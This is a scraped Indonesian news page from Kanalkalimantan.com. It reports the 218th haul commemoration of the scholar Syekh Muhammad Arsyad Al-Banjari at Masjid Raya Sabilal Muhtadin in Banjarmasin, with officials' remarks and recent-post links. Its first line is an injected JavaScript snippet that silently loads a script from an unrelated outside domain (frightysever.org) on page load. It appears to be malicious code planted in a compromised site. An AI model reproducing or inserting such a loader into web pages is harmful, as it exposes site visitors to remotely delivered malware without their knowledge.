(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Mengenang Ulama Besar Tanah Banjar di Masjid dengan Nama Kitab Karangannya


KANALKALIMANTAN.COM, BANJARMASIN – Setelah Haul ke-218 Maulana Syekh Muhammad Arsyad Al-Banjari di Masjid Tuhfaturragibin Dalam Pagar Martapura dan kubah Kalampayan, peringatan mengenang ulama besar Tanah Banjar berlanjut ke daerah lain.

Masjid Raya Sabilal Muhtadin Banjarmasin tak kelewatan menggelar haul ulama pengarang kitab fiqih bermazhab Syafi’i dengan nama Sabilal Muhtadin li At-tafaqquh fi Amri Din, berbahasa Melayu.

Ribuan jemaah laki-laki dan perempuan memadati ruang induk masjid terbesar di Kota Banjarmasin itu. Bahkan panitia haul menyediakan layar proyektor besar bagi jemaah yang tidak bisa masuk ke dalam masjid.

Acara bakda Magrib dimulai dengan pembacaan syair Maulid Habsyi, dilanjutkan dengan pembacaan manaqib atau biografi riwayat singkat Syekh Muhammad Arsyad Al-Banjari, dan diakhiri pembacaan tahlil, dzikir, dan doa.

Baca juga: Riwayat Singkat Syekh Muhammad Arsyad Al-Banjari: 30 Tahun Menuntut Ilmu di Mekkah Madinah

Haul ke-218 Datu Kelampayan dihadiri Tuan Guru KH Ahmad Mulkani, ulama kelahiran Tunggul Irang Martapura ini masih keturunan Syekh Muhammad Arsyad Al-Banjari. Serta turut hadir beberapa alim ulama lainnya.

Kemudian dari unsur pejabat hadir Sekretaris Daerah (Sekda) Provinsi Kalsel Ir Roy Rizali Anwar, Staf Ahli Gubernur Kalsel Sulkan SH MH, dan Kepala Kantor Kementerian Agama (Kanwil Kemenag) Provinsi Kalsel Dr HM Thambrin.

Nama masjid lokasi pelaksanaan haul ke-218 yang terletak di tengah Kota Banjarmasin itu diambil dari salah satu nama kitab karangan Syekh Muhammad Arsyad Al-Banjari yaitu kitab Sabilal Muhtadin.

Baca juga: Hadapi MTQ Tingkar Provinsi, LPTQ Banjar Gelar Training Center Kafilah

Kitab ilmu fikih berbahasa Melayu itu sangat fenomenal dan menjadi rujukan berbagai negara di Asia Tenggara khususnya di Indonesia dalam mempelajari agama Islam.

Historis penamaan masjid itulah salah satu yang mendorong Nazir Masjid Raya Sabilal Muhtadin kembali menggelar peringatan Haul Syekh Muhammad Arsyad Al-Banjari.

“Setelah haul di Dalam Pagar dan Kalampayan, Alhamdulillah pada hari ini salah satu masjid yang namanya berasal dari salah satu kitab yang dikarang beliau (Syekh Muhammad Arsyad) yaitu Sabilal Muhtadin,” kata Ketua Badan Pengelola Mesjid Raya Sabilal Muhtadin, Drs Darul Qutni, Selasa (14/6/2024) malam.

Menurut Darul Qutni, kitab Sabilal Muhtadin karangan Syekh Muhammad Arsyad Al-Banjari sangat fenomenal karena sejak dulu menjadi rujukan masyarakat di Nusantara dan penjuru dunia.

“Berlabel internasional kitab Sabilal Muhtadin ini,” kata Darul Qutni.

Baca juga: Haul ke-218 Datu Kelampayan di Dalam Pagar, Dihadiri Danpusterad hingga Wakil Ketua PBNU

Sementara Gubernur Kalsel yang diwakili Sekda Provinsi Kalsel, Roy Rizali mengatakan selain sebagai mengenang wafat Syekh Muhammad Arsyad Al-Banjari ke-218 tahun, pelaksanaan haul diharapkan dapat memperkuat ukhuwah Islamiyyah dan ketaqwaan kepada yang Maha Kuasa.

“Kehadiran kita malam ini semoga menjadi semangat untuk terus mencintai alim ulama kita, termasuk pedatuan kita Datu Kalampayan,” kata Roy Rizali yang membacakan sambutan Gubernur Kalsel.

Pemprov Kalsel secara perlahan membenahi dan membangun sarana prasarana agar masyarakat dapat mudah berziarah ke makam Datu Kalampayan di Desa Kelampayan Tengah, Kecamatan Astambul.

Baca juga: Dana Rp1,4 Miliar Dukung Koperasi Ponpes di Kalsel Lewat Program OPOP 2024

Salah satu fasilitas yang dibangun yaitu jalan baru menuju makam Datu Kalampayan. Akses baru tersebut melintasi 6 desa di Kabupaten Banjar, yakni Desa Sungai Kitano, Akar Baru, Akar Bagantung, Munggu Raya, Dalam Pagar Ulu dan Kelampayan Tengah. Saat ini jalan tersebut sudah rampung dan bisa dilalui pengendara.

“Kemudian ada film Syekh Muhammad Arsyad Al-Banjari, dan nama Syekh Muhammad Arsyad akan kami jadikan nama masjid di ibu kota Kalsel Banjarbaru. Insyaallah selesai bulan Agustus ini,” pungkas Roy. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Kepemimpinan Saidi Mansyur – Habib Idrus Kembali Raih Penghargaan Wahana Tata Nugraha

KANALKALIMANTAN.COM, JAKARTA - Di bawah pimpinan H Saidi Mansyur dan Habib Idrus Al Habsyi Kabupaten… Read More

10 jam ago

Tak Bisa Bedakan Mana Warung Mana Ballroom

KANALKALIMANTAN.COM, BANJARBARU - Ibu guru Amalia Wahyuni, seorang tenaga pengajar SMK di Kota Banjarbaru menegur… Read More

12 jam ago

Wali Kota Banjarbaru Terima Wahana Tata Nugraha 2024 dari Kemenhub

KANALKALIMANTAN.COM, BANJARBARU – Tiga hari berturut-turut Wali Kota Banjarbaru Aditya Mufti Ariffin mendapat penghargaan tingkat… Read More

14 jam ago

PAFI Gunungkidul: Inisiatif Edukasi Masyarakat tentang Penggunaan Obat yang Tepat

KANALKALIMANTAN.COM - Penggunaan obat yang tepat merupakan aspek yang sangat penting dalam menjaga kesehatan seseorang.… Read More

15 jam ago

Dua Kasus Suspek Cacar Monyet di Banjarbaru Negatif

KANALKALIMANTAN.COM, BANJARBARU - Hasil identifikasi kasus suspek (terduga) monkeypox (Mpox) atau cacar monyet di Kota… Read More

15 jam ago

Rancangan APBD 2025 Kota Banjarbaru Selesai Sebelum Pelantikan Anggota DPRD

KANALKALIMANTAN.COM, BANJARBARU - Rancangan Anggaran Pendapatan dan Belanja Daerah (APBD) tahun anggaran 2025 Kota Banjarbaru… Read More

17 jam ago

This website uses cookies.